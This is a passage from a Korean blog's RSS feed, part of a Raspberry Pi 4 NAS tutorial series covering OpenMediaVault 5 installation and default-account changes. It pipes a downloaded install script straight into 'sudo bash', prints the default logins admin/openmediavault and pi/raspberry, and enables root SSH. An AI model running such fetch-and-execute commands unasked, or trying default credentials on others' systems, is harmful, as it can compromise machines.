&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;OMV(OpenMeidaVault)&lt;/b&gt;&lt;br /&gt;- 네트워크 결합 스토리지(NAS)용으로 설계된 자유 리눅스 배포판이다.&lt;br /&gt;&amp;nbsp; 이 프로젝트의 선임 개발자는 Volker Theile로, 2009년에 시작했다.&lt;br /&gt;&amp;nbsp; OMV는 데비안 운영 체제에 기반을 두며&lt;br /&gt;&amp;nbsp; GNU 일반 공중 사용 허가서 v3로 라이선스되어 있다.&lt;br /&gt;&amp;nbsp; (* 위키백과)&lt;br /&gt;&lt;br /&gt;- 데비안 OS 기반이기 때문에 리눅스의 Redhat 계열과는 맞지 않으며,&lt;br /&gt;&amp;nbsp; &lt;u&gt;&lt;b&gt;데비안 계열의 OS&lt;/b&gt;&lt;/u&gt;(Ubuntu, Raspberry Pi OS 등)에 쉽게 설치가 가능하다.&lt;br /&gt;&amp;nbsp; 가볍게 사용하기 좋다.(&lt;u&gt;&lt;b&gt;간단한 데이터 저장 용도 정도&lt;/b&gt;&lt;/u&gt;)&lt;br /&gt;&lt;br /&gt;- &lt;u&gt;&lt;b&gt;NAS를 모든 기능을 사용&lt;/b&gt;&lt;/u&gt;하려면&lt;br /&gt;&amp;nbsp; (미디어 서버, 문서 편집, 웹 서버 운영과 같은 다양한 기능)&lt;br /&gt;&amp;nbsp; &lt;u&gt;&lt;b&gt;Synology와 같은 상용 NAS가 안정성이 높다.&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;- OMV 설치 시 &lt;u&gt;&lt;b&gt;무선 네트워크가 끊긴다&lt;/b&gt;&lt;/u&gt;고 한다.&lt;br /&gt;&amp;nbsp; 유선 네트워크가 속도도 빠르니,&lt;br /&gt;&amp;nbsp; 그냥 &lt;u&gt;&lt;b&gt;유선 네트워크를 연결해놓고 사용하는 방법을 권한다.&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;OMV 설치&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치는 의외로 간단합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만, 여기도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시간이 엄청 걸립니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(1시간?)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;아래 명령어로 설치가 가능합니다.&lt;br /&gt;&lt;u&gt;&lt;b&gt;$ wget -O - https://github.com/OpenMediaVault-Plugin-Developers/installScript/raw/master/install | sudo bash&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;다만, 위의 방법으로 설치가 안되면&lt;br /&gt;&lt;u&gt;&lt;b&gt;apt-get을 사용해서 설치가 가능&lt;/b&gt;&lt;/u&gt;합니다.&lt;br /&gt;&lt;u&gt;&lt;b&gt;하지만, 이 방법은&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;설치 패키지들을 명시해줘야하기 때문에&lt;br /&gt;&lt;u&gt;&lt;b&gt;omv-extras와 같은 플러그인이&lt;br /&gt;없을 수도 있습니다.&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;없는 패키지들을 확인한 후&lt;br /&gt;apt-get으로 설치해주면 해결됩니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;666&quot; data-origin-height=&quot;353&quot; data-filename=&quot;이미지 28.png&quot; width=&quot;500&quot; height=&quot;265&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/opFhx/btq9RbF112f/RCWiu89KBqqdnChusMVMPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/opFhx/btq9RbF112f/RCWiu89KBqqdnChusMVMPK/img.png&quot; data-alt=&quot;OMV5 설치 중...&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/opFhx/btq9RbF112f/RCWiu89KBqqdnChusMVMPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FopFhx%2Fbtq9RbF112f%2FRCWiu89KBqqdnChusMVMPK%2Fimg.png&quot; data-origin-width=&quot;666&quot; data-origin-height=&quot;353&quot; data-filename=&quot;이미지 28.png&quot; width=&quot;500&quot; height=&quot;265&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;OMV5 설치 중...&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;651&quot; data-origin-height=&quot;411&quot; data-filename=&quot;이미지 29.png&quot; width=&quot;500&quot; height=&quot;316&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6YrBX/btq93nSn8yZ/6kWM3IoszU8S5liKrBZta1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6YrBX/btq93nSn8yZ/6kWM3IoszU8S5liKrBZta1/img.png&quot; data-alt=&quot;다행히 첫 번째에 성공...스스로 재부팅...&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6YrBX/btq93nSn8yZ/6kWM3IoszU8S5liKrBZta1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6YrBX%2Fbtq93nSn8yZ%2F6kWM3IoszU8S5liKrBZta1%2Fimg.png&quot; data-origin-width=&quot;651&quot; data-origin-height=&quot;411&quot; data-filename=&quot;이미지 29.png&quot; width=&quot;500&quot; height=&quot;316&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;다행히 첫 번째에 성공...스스로 재부팅...&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;하지만, 재부팅하고도&lt;br /&gt;한참이 지나서야&lt;br /&gt;접속이 가능합니다.&lt;br /&gt;&lt;br /&gt;아래와 같이&lt;br /&gt;&lt;u&gt;&lt;b&gt;ping 명령어로&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;접속이 가능한지 확인한 후&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;접속&lt;/b&gt;&lt;/u&gt;해야 합니다.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;window&amp;gt; ping /t [라즈베리파이 주소]&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;651&quot; data-origin-height=&quot;692&quot; data-filename=&quot;이미지 31.png&quot; width=&quot;500&quot; height=&quot;531&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgWikZ/btq91Uv97G7/sM6kpdUe6er7sIA6SlYReK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgWikZ/btq91Uv97G7/sM6kpdUe6er7sIA6SlYReK/img.png&quot; data-alt=&quot;접속 가능한지 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgWikZ/btq91Uv97G7/sM6kpdUe6er7sIA6SlYReK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgWikZ%2Fbtq91Uv97G7%2FsM6kpdUe6er7sIA6SlYReK%2Fimg.png&quot; data-origin-width=&quot;651&quot; data-origin-height=&quot;692&quot; data-filename=&quot;이미지 31.png&quot; width=&quot;500&quot; height=&quot;531&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;접속 가능한지 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;설치 끝!&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 웹으로 접속해보면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;접속 방법: &lt;u&gt;&lt;b&gt;http://[라즈베리파이 주소]&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;ID/Password: &lt;u&gt;&lt;b&gt;admin / openmediavault&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;509&quot; data-filename=&quot;이미지 32.png&quot; width=&quot;500&quot; height=&quot;364&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oe3UC/btq9ZstqRTg/CVtkx2KrAtjbQ3zZsZEeBk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oe3UC/btq9ZstqRTg/CVtkx2KrAtjbQ3zZsZEeBk/img.png&quot; data-alt=&quot;OMV 로그인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oe3UC/btq9ZstqRTg/CVtkx2KrAtjbQ3zZsZEeBk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Foe3UC%2Fbtq9ZstqRTg%2FCVtkx2KrAtjbQ3zZsZEeBk%2Fimg.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;509&quot; data-filename=&quot;이미지 32.png&quot; width=&quot;500&quot; height=&quot;364&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;OMV 로그인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만, &lt;u&gt;&lt;b&gt;사용자 계정으로는&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;SSH 접속이 안되고,&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아까 &lt;u&gt;&lt;b&gt;SSH 접속을 허용해준&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;root로만 접속이 가능&lt;/b&gt;&lt;/u&gt;합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;654&quot; data-origin-height=&quot;103&quot; data-filename=&quot;이미지 33.png&quot; width=&quot;500&quot; height=&quot;79&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d1UvC7/btq91NKMm0J/daKceQw7ik6oUhHYCsApeK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d1UvC7/btq91NKMm0J/daKceQw7ik6oUhHYCsApeK/img.png&quot; data-alt=&quot;사용자 계정 SSH 접속 불가&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d1UvC7/btq91NKMm0J/daKceQw7ik6oUhHYCsApeK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd1UvC7%2Fbtq91NKMm0J%2FdaKceQw7ik6oUhHYCsApeK%2Fimg.png&quot; data-origin-width=&quot;654&quot; data-origin-height=&quot;103&quot; data-filename=&quot;이미지 33.png&quot; width=&quot;500&quot; height=&quot;79&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;사용자 계정 SSH 접속 불가&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;접속!&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접속에 성공한 모습입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;511&quot; data-filename=&quot;이미지 34.png&quot; width=&quot;500&quot; height=&quot;365&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmrWSf/btq91MZpeOY/0zq0c75JmTHRl1Yr1sokEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmrWSf/btq91MZpeOY/0zq0c75JmTHRl1Yr1sokEk/img.png&quot; data-alt=&quot;OMV5 웹 화면&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmrWSf/btq91MZpeOY/0zq0c75JmTHRl1Yr1sokEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmrWSf%2Fbtq91MZpeOY%2F0zq0c75JmTHRl1Yr1sokEk%2Fimg.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;511&quot; data-filename=&quot;이미지 34.png&quot; width=&quot;500&quot; height=&quot;365&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;OMV5 웹 화면&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/116&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2020.12.13 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS 설치 1] 모니터 없이 Raspberry Pi OS( 구 라즈비안, Raspbian) 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/140&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-1. 기본 세팅&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/141&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-2. 계정 변경&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/142&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 2. 업데이트 및 OMV 5 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/143&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 3. OMV 5 설정(IP, 호스트네임, 관리자 암호)&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/144&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-1. 외장하드 포맷&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/145&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-2. 외장하드 마운트 및 자동 마운트&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/146&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 5. Docker, Portainer 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/147&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-1. 토렌트: transmission 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/148&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.21 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-2. 토렌트: transmission 설정&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>NAS/Raspberry Pi</category>
      <category>docker</category>
      <category>media server</category>
      <category>Nas</category>
      <category>omv</category>
      <category>PORTAINER</category>
      <category>raspberry pi</category>
      <category>라즈베리파이</category>
      <category>미디어 서버</category>
      <category>홈 스트리밍</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/142</guid>
      <comments>https://chmodi.tistory.com/142#entry142comment</comments>
      <pubDate>Tue, 20 Jul 2021 01:23:54 +0900</pubDate>
    </item>
    <item>
      <title>[라즈베리파이4 NAS - 홈 스트리밍] 1-2. 계정 변경</title>
      <link>https://chmodi.tistory.com/141</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본 계정을 사용하는 것은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안상 위험하기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;라즈베리파이의 기본 계정(pi)를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자신만의 계정으로 변경해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;root의 ssh 접속 허용&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 root 권한으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ssh에 접속해야 하기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;root의 ssh 접속 권한을 허용합니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;기본 계정인 pi 계정으로&lt;br /&gt;SSH에 접속합니다.&lt;br /&gt;(ID: &lt;u&gt;&lt;b&gt;pi&lt;/b&gt;&lt;/u&gt; / Password: &lt;u&gt;&lt;b&gt;raspberry&lt;/b&gt;&lt;/u&gt;)&lt;br /&gt;&lt;u&gt;&lt;b&gt;&lt;/b&gt;&lt;/u&gt;&lt;u&gt;&lt;b&gt;&lt;/b&gt;&lt;/u&gt;&lt;span style=&quot;background-color: #1e1f21; color: #666666;&quot;&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SSH가 자동 시작되기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본 계정인 pi의 비밀번호를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;변경하라는 메세지도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같이 나타납니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;655&quot; data-origin-height=&quot;529&quot; data-filename=&quot;이미지 13.png&quot; width=&quot;500&quot; height=&quot;404&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JEFkJ/btq91NRscXJ/71ecRe19GkNrwgRsroYOwk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JEFkJ/btq91NRscXJ/71ecRe19GkNrwgRsroYOwk/img.png&quot; data-alt=&quot;pi 계정으로 ssh 접속&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JEFkJ/btq91NRscXJ/71ecRe19GkNrwgRsroYOwk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJEFkJ%2Fbtq91NRscXJ%2F71ecRe19GkNrwgRsroYOwk%2Fimg.png&quot; data-origin-width=&quot;655&quot; data-origin-height=&quot;529&quot; data-filename=&quot;이미지 13.png&quot; width=&quot;500&quot; height=&quot;404&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;pi 계정으로 ssh 접속&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;이제 root의 비밀번호를 변경합니다.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;u&gt;$ sudo&lt;span&gt;&amp;nbsp;&lt;/span&gt;passwd root&lt;/u&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;650&quot; data-origin-height=&quot;68&quot; data-filename=&quot;이미지 14.png&quot; width=&quot;500&quot; height=&quot;52&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOFqtm/btq92yfuYEi/Me97x0bdkIP9eOPrCeApi0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOFqtm/btq92yfuYEi/Me97x0bdkIP9eOPrCeApi0/img.png&quot; data-alt=&quot;root의 비밀번호 변경&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOFqtm/btq92yfuYEi/Me97x0bdkIP9eOPrCeApi0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOFqtm%2Fbtq92yfuYEi%2FMe97x0bdkIP9eOPrCeApi0%2Fimg.png&quot; data-origin-width=&quot;650&quot; data-origin-height=&quot;68&quot; data-filename=&quot;이미지 14.png&quot; width=&quot;500&quot; height=&quot;52&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; 